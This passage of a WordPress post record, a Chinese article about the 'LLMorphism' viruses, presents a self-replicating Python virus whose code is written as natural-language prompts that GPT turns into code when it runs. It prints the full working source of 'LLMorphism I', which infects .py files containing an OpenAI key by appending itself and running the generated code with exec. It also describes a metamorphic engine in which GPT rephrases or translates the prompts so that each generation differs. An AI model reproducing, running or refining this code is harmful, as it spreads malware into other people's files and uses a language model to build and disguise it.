\u90e8\u5206]<\/p>\n\n\n\n<p>\u4e00\u4e2a\u5173\u952e\u90e8\u5206\u662f\u5c06\u6240\u6709\u63d0\u793a\u6dfb\u52a0\u5230\u81ea\u5df1\u7684\u4ee3\u7801\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt=\"Write a short python code (no tests or examples). \nMake a loop over all elements in the list called prompts_list. Directly start with the loop, do not define any variables beforehand (you can assume that own_code is already defined). For each element, do the following three steps: \n1) Add to the string own_code the string 'prompts_list.append('. \n2) Add to the string own_code the current element of the loop with double quotation marks. 3) Add to the string own_code the string ')' and a line break.\"\n\nprint(return_text(prompt))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>for element in prompts_list:\n    own_code += 'prompts_list.append(\"' + element + '\")\\n'\n<\/code><\/pre>\n\n\n\n<p>\u53e6\u4e00\u4e2a\u5173\u952e\u90e8\u5206\u662f\u75c5\u6bd2\u4ee3\u7801\u7684\u6267\u884c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt=\"Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.\"\n\nprint(return_text(prompt))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>exec(complete_str)<\/code><\/pre>\n\n\n\n<p>\u6781\u597d\u7684\u3002\u73b0\u5728\u6211\u4eec\u57fa\u672c\u4e0a\u6709\u4e86\u6240\u6709\u7684\u6210\u5206\u2014\u2014\u8fd9\u662f appender \u7684\u5b8c\u6574\u4ee3\u7801\u3002\u6211\u79f0\u4e4b\u4e3a\u201cLLMorphism I\u201d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import openai\nopenai.api_key = \"...\"\n\nprompts_list=&#91;]\ntofile_list=&#91;]\nprompts_list.append(\"Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.\")\nprompts_list.append(\"Write a python function get_content which takes an input argument (string of a text file), reads the text file and returns its full file content. Do not write anything else except of the python code!\")\nprompts_list.append(\"Write a python function is_key, which takes a string as an input and return True,  if it contains the substring 'openai.api_key' (which has 14 characters) exactly once, otherwise False. Be careful, do not compare the entire string, but find how often the substring is contained! Very important: Do not write anything else except of the python code, do not write print statements and do not define variables outside of the function. Just write the function!\")\nprompts_list.append(\"Write a python function write_to_file which takes a filename and a string as an input, and append one line break (do not forget!) and the input string to the file. Output only the python code, nothing else!\")\nprompts_list.append(\"Write a loop over all elements returned by the function get_files (which has no arguments). For each element (lets call it curr_element), test whether the function is_key with the argument returned from get_content of the current element is True. If it is True, call the function write_to_file with curr_element as the first argument, and the variable tofile_str as the second argument. (tofile_str is a variable which is defined above)\")\nprompts_list.append(\"Write a python code (only this one line) which prints: 'LLMorphism I by SPTH - a new-age AI-based self-replicator, powered by OpenAIs GPT. Fully encodes the self-replicator into natural language.'.\")\nprompts_list.append(\"Write a python code (only this one line) which prints: 'Hugs to the valhalla gang - hh86, roy g biv, JPanic, herm1t!'.\")\ntofile_list.append(\"Write a python function return_text which takes two inputs: a prompt string, and the openai key (with a default value of the value openai.api_key). The function returns returns the output of an openai text completion (ONLY USE 3 parameters!). As parameters for the openai text completion use only four parameter (!!): engine which is 'text-davinci-003', max_tokens is 1000, temperature is 0.5, and the parameter prompt. Do not use any other parameters, only these four! The parameters are not strings!\")\ntofile_list.append(\"Write the following python function comp_str_fct, which has one argument. The argument is a list of strings. For each element of the list, call the function return_text (with the current element as the argument), and take its return value (a string). The function should combine all strings (with a line break) and return it.\")\ntofile_list.append(\"Write one line in python, which defines a string with the name tofile_str. The value of the string is 'prompts_list=&#91;]', with a line break before and afterwards.\")\ntofile_list.append(\"Write one line in python, which appends and store to the string with the name tofile_str. The appended value is 'tofile_list=&#91;]', followed by a line break.\")\ntofile_list.append(\"Write a short python code (no tests or examples). Make a loop over all elements in the list called prompts_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'prompts_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.\")\ntofile_list.append(\"Write a short python code (no tests or examples). Make a loop over all elements in the list called tofile_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'tofile_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.\")\ntofile_list.append(\"Write a python code (only this one line) which defines a variable vic_code. The variable is generated by a function call of comp_str_fct with the argument being the variable called tofile_list.\")\ntofile_list.append(\"Write a python code, which appends to the string variable tofile_str a line break, and then the variable vic_code (these are two variable names, not strings themselves!). Store the result in the variable tofile_str.\")\ntofile_list.append(\"Write a python code (only this one line) which defines a variable complete_str. The variable is generated by a function call of comp_str_fct with the argument being the variable called  prompts_list.\")\ntofile_list.append(\"Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.\")\n\n\ndef return_text(prompt, openai_key=openai.api_key):\n    response = openai.Completion.create(\n        engine=\"text-davinci-003\",\n        max_tokens=1000,\n        temperature=0.5,\n        prompt=prompt,\n        api_key=openai_key\n    )\n    return response&#91;'choices']&#91;0]&#91;'text']\n\ndef comp_str_fct(list_str):\n    combined_str = \"\"\n    for str in list_str:\n        combined_str += return_text(str) + \"\\n\"\n    return combined_str\n\ntofile_str = '\\nprompts_list=&#91;]\\n'\ntofile_str += 'tofile_list=&#91;]\\n'\n\nfor element in prompts_list:\n    tofile_str += 'prompts_list.append(\"' + element + '\")\\n'\n\nfor element in tofile_list:\n    tofile_str += 'tofile_list.append(\"' + element + '\")\\n'\n\nvic_code = comp_str_fct(tofile_list)\ntofile_str += '\\n' + vic_code\ncomplete_str = comp_str_fct(prompts_list)\nexec(complete_str)\n<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>3) \u8bed\u8a00\u53d8\u5f02\uff1aLinguisto-Morphic \u8ba1\u7b97\u673a\u75c5\u6bd2<\/strong><\/p>\n\n\n\n<p>GPT \u5728\u5904\u7406\u8bed\u8a00\u548c\u4ee3\u7801\u65b9\u9762\u5f88\u4e86\u4e0d\u8d77\u3002\u4e00\u4e2a\u7279\u70b9\u662f\u5b83\u80fd\u591f\u91cd\u65b0\u683c\u5f0f\u5316\u6587\u672c\u3002\u60a8\u53ef\u4ee5\u4f7f\u7528\u5b83\u6765\u6539\u8fdb\u6587\u672c\u7684\u6837\u5f0f\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt=\"Please improve the style of the following sentences and make them more engaging: The solar system has eight or nine planets, if you count or not Pluto, but Pluto is cool because it was visited by New Horizon that sent nice pix.\"\nprint(return_text(prompt))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>The Solar System is home to a whopping 8 or 9 planets, depending on whether you count Pluto or not - and let's be honest, who doesn't want to count Pluto? After all, it was visited by New Horizon which sent back some stunning images!\n\u592a\u9633\u7cfb\u62e5\u6709\u591a\u8fbe 8 \u6216 9 \u9897\u884c\u661f\uff0c\u8fd9\u53d6\u51b3\u4e8e\u60a8\u662f\u5426\u5c06\u51a5\u738b\u661f\u7b97\u5728\u5185\u2014\u2014\u8001\u5b9e\u8bf4\uff0c\u8c01\u4e0d\u60f3\u7b97\u4e0a\u51a5\u738b\u661f\u5462\uff1f\u6bd5\u7adf\uff0cNew Horizon \u66fe\u8bbf\u95ee\u8fc7\u5b83\uff0c\u5e76\u53d1\u56de\u4e86\u4e00\u4e9b\u4ee4\u4eba\u60ca\u53f9\u7684\u56fe\u50cf\uff01<\/code><\/pre>\n\n\n\n<p>\u662f\u7684\uff0c\u60ca\u4eba\u7684\u98ce\u683c\uff0c\u559c\u6b22\u5b83\u3002\u73b0\u5728\u2014\u2014\u6211\u4eec\u6240\u6709\u7684\u63d0\u793a\u4e5f\u662f\u7528\u81ea\u7136\u8bed\u8a00\u7f16\u5199\u7684\u3002\u6211\u4eec\u4e5f\u53ef\u4ee5\u8981\u6c42 GPT \u4fee\u6539\u63d0\u793a\u3002\u8ba9\u6211\u4eec\u8bd5\u8bd5\u770b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt='Please change the style of the language of the following sentence without changing its content: \"Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.\"'\nprint(return_text(prompt))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Construct a Python code (just this one line) that will execute a multi-line Python code referred to as complete_str.\n\u6784\u9020\u4e00\u4e2a Python \u4ee3\u7801\uff08\u4ec5\u8fd9\u4e00\u884c\uff09\uff0c\u5b83\u5c06\u6267\u884c\u79f0\u4e3a complete_str \u7684\u591a\u884c Python \u4ee3\u7801\u3002<\/code><\/pre>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u8fd0\u884c\u5b83\uff0c\u8f93\u51fa\u786e\u5b9e\u53c8\u662f\u6b63\u786e\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt='Construct a Python code (just this one line) that will execute a multi-line Python code referred to as complete_str.'\n\nprint(return_text(prompt))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>exec(complete_str)\n<\/code><\/pre>\n\n\n\n<p>\u55ef\u4e0d\u9519\uff01\u73b0\u5728\u6211\u4eec\u53ea\u9700\u8981\u5bf9\u6240\u6709\u63d0\u793a\u8fdb\u884c\u5faa\u73af\uff0c\u5e76\u7528\u4e00\u5b9a\u767e\u5206\u6bd4\u7684\u65b0\u63d0\u793a\u66ff\u6362\u5b83\u4eec\u3002\u8fd9\u5c31\u662f\u6211\u5728\u201cLLMorphism II\u201d\u4e2d\u6240\u5c55\u793a\u7684\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u53d8\u5f02\u5f15\u64ce\u975e\u5e38\u9177\uff0cGPT \u80fd\u505a\u5230\u8fd9\u4e00\u70b9\u4ee4\u4eba\u5370\u8c61\u6df1\u523b\u3002\u7136\u800c\uff0c\u5b83\u4e5f\u5f88\u8106\u5f31\uff0c\u7ecf\u5e38\u91cd\u65b0\u5236\u5b9a\u4f1a\u6539\u53d8\u6211\u7cbe\u5fc3\u6784\u5efa\u7684\u63d0\u793a\uff0c\u56e0\u6b64\u4e0b\u4e00\u4ee3\u4f1a\u4ea7\u751f\u884c\u4e3a\u7565\u6709\u4e0d\u540c\u7684\u4ee3\u7801\u3002\u51fa\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u6211\u66f4\u6539\u4ee3\u7801\u7684\u63d0\u793a\u66f4\u52a0\u5fae\u5999\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>modifyer_prompt='Slightly reformulate in natural langauge the next sentence, without changing its meaning,  do not interpret the content, keep the length and structure of the string as similar as possible, very importantly do not change the content at all,  and only make slight modifications: '+virus_prompt\n<\/code><\/pre>\n\n\n\n<p>\u8fd9\u5728\u5f88\u591a\u60c5\u51b5\u4e0b\u90fd\u6709\u6548\uff0c\u4f46\u662f\uff0c\u6709\u65f6\u5b83\u4ecd\u7136\u4f1a\u4ea7\u751f\u65e0\u6548\u8f93\u51fa\u3002<\/p>\n\n\n\n<p>\u6211\u76f8\u4fe1\u5728\u4e0d\u4e45\u7684\u5c06\u6765\uff0c\u8fd9\u5c06\u901a\u8fc7\u66f4\u5f3a\u5927\u7684 GPT \u81ea\u7136\u5730\u89e3\u51b3\uff0c\u56e0\u6b64\u76ee\u524d\u4e0d\u503c\u5f97\u82b1\u66f4\u591a\u7684\u7cbe\u529b\u5728\u63d0\u793a\u5de5\u7a0b\u4e0a\u3002<\/p>\n\n\n\n<p>\u76f8\u53cd\uff0c\u76ee\u524d\uff0c\u5728\u8c03\u7528 GPT \u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u975e\u5e38\u4f4e\u7684\u6e29\u5ea6\u3002\u6e29\u5ea6\u63a7\u5236\u8f93\u51fa\u7684\u968f\u673a\u6027\u6c34\u5e73\uff0c\u4f4e\u6e29\u901a\u5e38\u4f1a\u4ea7\u751f\u9ad8\u8d28\u91cf\u7684\u54cd\u5e94\u3002\u53e6\u4e00\u4e2a\u6211\u53d1\u73b0\u6548\u679c\u5f88\u597d\u7684\u6280\u5de7\u662f\u5c06\u4ee3\u7801\u7684\u903b\u8f91\u62c6\u5206\u6210\u8bb8\u591a\u4e0d\u540c\u7684\u63d0\u793a\uff0c\u8ba9 GPT \u53ea\u6784\u9020\u6700\u5c11\u7684\u51fd\u6570\u3002\u8fd9\u5e76\u4e0d\u5947\u602a\uff0c\u66f4\u7b80\u5355\u7684\u529f\u80fd\u9700\u8981\u66f4\u7b80\u5355\u7684\u63cf\u8ff0\uff0c\u8fd9\u6837\u5c31\u4e0d\u90a3\u4e48\u6a21\u7cca\u4e86\u3002<\/p>\n\n\n\n<p>\u53e6\u4e00\u4e2a\u4ee4\u4eba\u5174\u594b\u7684\u53ef\u80fd\u6027\u662f\u5728\u4e0d\u540c\u8bed\u8a00\u4e4b\u95f4\u8fdb\u884c\u7ffb\u8bd1\u7684\u80fd\u529b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt='Translate the following sentence between german and english (only one langauge, dont change the content): \"Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.\"'\n\nprint(return_text(prompt))<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>German: Schreibe einen Python-Code (nur diese eine Zeile), der einen mehrzeiligen Python-Code namens complete_str aufnimmt und ausf\ufffdhrt.\n<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u4ecd\u7136\u53ef\u4ee5\u6267\u884c\u5b83\u5e76\u53d6\u56de\u6b63\u786e\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>prompt='German: Schreibe einen Python-Code (nur diese eine Zeile), der einen mehrzeiligen Python-Code namens complete_str aufnimmt und ausf\ufffdhrt.'\nprint(return_text(prompt))<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<p>exec(complete_str)<\/p>\n\n\n\n<p>\u60ca\u4eba\u7684\u3002<\/p>\n\n\n\n<p>\u5bf9\u4e8e\u66f4\u590d\u6742\u7684\u5b57\u7b26\u4e32\uff0c\u7ffb\u8bd1\u8d28\u91cf\u4f1a\u53d7\u5230\u5f71\u54cd\uff0c\u5e76\u4e14\u7ecf\u5e38\u4f1a\u5bfc\u81f4\u4e00\u4ee3\u4e4b\u540e\u7684\u9519\u8bef\u4ee3\u7801\u3002\u56e0\u6b64\uff0c\u73b0\u5728\u6211\u6ca1\u6709\u5c06\u8fd9\u4e2a\u7a81\u53d8\u5f15\u64ce\u5305\u542b\u5230 LLMorpher \u4e2d\uff0c\u4f46\u662f\u4ee3\u7801\u770b\u8d77\u6765\u4e0e\u91cd\u65b0\u5236\u5b9a\u4efb\u52a1\u7684\u4ee3\u7801\u5b8c\u5168\u76f8\u540c\u3002\u6211\u6562\u6253\u8d4c\uff0c\u4e0b\u7ebf\u7684\u4e00\u4ee3 GPT \u4f1a\u81ea\u52a8\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>4\uff09\u63a5\u4e0b\u6765\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f<\/strong><\/p>\n\n\n\n<p>\u53ef\u901a\u8fc7 API \u8bbf\u95ee\u7684\u5f3a\u5927\u7684\u5927\u578b\u8bed\u8a00\u6a21\u578b\u7684\u51fa\u73b0\u5df2\u7ecf\u4f7f\u6211\u4eec\u5728\u51e0\u5e74\u524d\u6ca1\u6709\u9884\u6599\u5230\u7684\u5e94\u7528\u7a0b\u5e8f\u6210\u4e3a\u53ef\u80fd\u3002\u5b83\u5f15\u5bfc\u6211\u4eec\u63d0\u51fa\u81ea\u6211\u610f\u8bc6\u548c\u610f\u8bc6\u7b49\u95ee\u9898\uff08\u53c2\u89c1\u8c37\u6b4c LaMDA \u7684\u8ba8\u8bba\u6216\u67e5\u5c14\u9ed8\u5728 NeurIPS \u7684\u5168\u4f53\u4f1a\u8bae\u4e0a\u7684\u6f14\u8bb2\uff09\u8fd9\u4e00\u4e8b\u5b9e\u672c\u8eab\u5c31\u662f\u4e00\u573a\u6211\u4eec\u4e00\u751f\u4e2d\u53ef\u80fd\u4ece\u672a\u89c1\u8fc7\u7684\u667a\u529b\u9769\u547d\u3002<\/p>\n\n\n\n<p>\u5728\u81ea\u7136\u8bed\u8a00\u548c\u8ba1\u7b97\u673a\u8bed\u8a00\u4e4b\u95f4\u5b8c\u7f8e\u8f6c\u6362\u7684\u80fd\u529b\u5c06\u4f7f\u7eaf\u601d\u60f3\u7684\u4ee3\u7801\u5b9e\u4f53\u7684\u62bd\u8c61\u6210\u4e3a\u53ef\u80fd\u3002\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u4ee3\u7801\u662f\u4ec0\u4e48\uff1f\u5b83\u662f\u5199\u5728python\u6587\u4ef6\u4e2d\u7684\u5b57\u7b26\u5417\uff1f\u4e0d\u518d\u662f\uff0c\u8ba1\u7b97\u673a\u75c5\u6bd2\u662f\u4e00\u79cd\u7528\u6df7\u4e71\u7684\u3001\u9ad8\u5ea6\u6a21\u7cca\u7684\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u7684\u60f3\u6cd5\u3002<\/p>\n\n\n\n<p>\u5728\u76ee\u524d\u7684\u72b6\u6001\u4e0b\uff0c\u6211\u4e0d\u5f97\u4e0d\u5c06\u75c5\u6bd2\u4ee3\u7801\u62c6\u5206\u6210\u8bb8\u591a\u5fae\u6982\u5ff5\uff0c\u8fd9\u6837 GPT \u5c31\u4e0d\u4f1a\u6df7\u6dc6\u6211\u7684\u610f\u601d\uff08\u6216\u8005\u53ef\u80fd\uff0c\u8fd9\u6837\u6211\u5c31\u53ef\u4ee5\u7528\u6700\u660e\u786e\u7684\u65b9\u5f0f\u63cf\u8ff0\u5b83\uff09\u3002\u5f53\u7136\uff0c\u5728\u672a\u6765\uff0c\u6211\u4eec\u5c06\u80fd\u591f\u76f4\u63a5\u63cf\u8ff0\u66f4\u590d\u6742\u7684\u60f3\u6cd5\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5b8f\u89c2\u903b\u8f91\u7a81\u53d8\u3002 Codex \u548c Copilot \u5df2\u7ecf\u5c55\u793a\u4e86\u8fd9\u4e00\u70b9\u3002\u6211\u4eec\u8bbe\u60f3\u5927\u91cf\u8de8\u5e73\u53f0\u611f\u67d3\u8005\uff0c\u56e0\u4e3a GPT \u53ef\u4ee5\u4ece\u4e00\u79cd\u8bed\u8a00\u7ffb\u8bd1\u6210\u53e6\u4e00\u79cd\u8bed\u8a00\u3002<\/p>\n\n\n\n<p>\u663e\u7136\uff0c\u4ee5\u81ea\u7136\u8bed\u8a00\u7684\u5f62\u5f0f\u7f16\u5199\u7684\u8ba1\u7b97\u673a\u75c5\u6bd2\uff0c\u4ee5\u53ca\u5728\u4e0d\u6539\u53d8\u60f3\u6cd5\u7684\u60c5\u51b5\u4e0b\u91cd\u65b0\u8868\u8ff0\u81ea\u7136\u8bed\u8a00\u7684\u80fd\u529b\uff0c\u53ef\u80fd\u4f1a\u5728\u6211\u4eec\u7684\u672a\u6765\u6210\u4e3a\u4ee4\u4eba\u5174\u594b\u548c\u4ee4\u4eba\u6bdb\u9aa8\u609a\u7136\u7684\u4f19\u4f34\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/SPTHvx\/SPTH\">https:\/\/github.com\/SPTHvx\/SPTH<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u601d\u60f3\u548c\u884c\u4e3a\u901a\u5e38\u5b58\u50a8\u4e3a\u4ee5\u8ba1\u7b97\u673a\u8bed\u8a00\u7f16\u5199\u7684\u53ef\u6267\u884c\u4ee3\u7801\u3002 \u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u8d85\u8d8a\u5e76\u5c55\u793a\u5982\u4f55\u5b8c\u5168\u7528\u81ea\u7136\u8bed\u8a00\u5bf9\u81ea\u6211 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[313,289,312,43],"tags":[293],"class_list":["post-1499","post","type-post","status-publish","format-standard","hentry","category-chatgpt","category-gpt","category-openai","category-infoarticle","tag-gpt"],"views":1172,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1499"}],"version-history":[{"count":2,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1499\/revisions"}],"predecessor-version":[{"id":1501,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1499\/revisions\/1501"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1499"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}